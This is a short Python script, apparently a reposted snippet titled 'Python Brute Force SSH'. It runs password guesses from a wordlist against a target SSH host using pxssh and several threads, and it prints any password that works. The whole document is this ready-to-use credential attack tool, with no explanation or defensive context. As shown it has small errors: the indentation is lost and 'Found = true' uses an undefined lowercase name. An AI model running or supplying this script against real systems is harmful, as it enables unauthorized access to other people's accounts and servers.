python Python Brute Force SSH
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import pxssh
import optparse
import time
from threading import *
max_connections = 5
connection_lock = BoundedSemaphore(value=max_connections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print('[+] Password Found: ' + password)
Found = true
except Exception as e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'syncronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest="tgtHost", type="string", help='Specify target host')
parser.add_option('-F', dest="passwdFile", type="string", help='Specify password file')
parser.add_option('-u', dest="user", type="string", help='Specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print(parser.usage)
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print('[*] Exiting: Password found')
exit(0)
if Fails > 5:
print('[!] Exiting: To0 many socket timeouts')
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print('[-] Testing: ' + str(password))
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()
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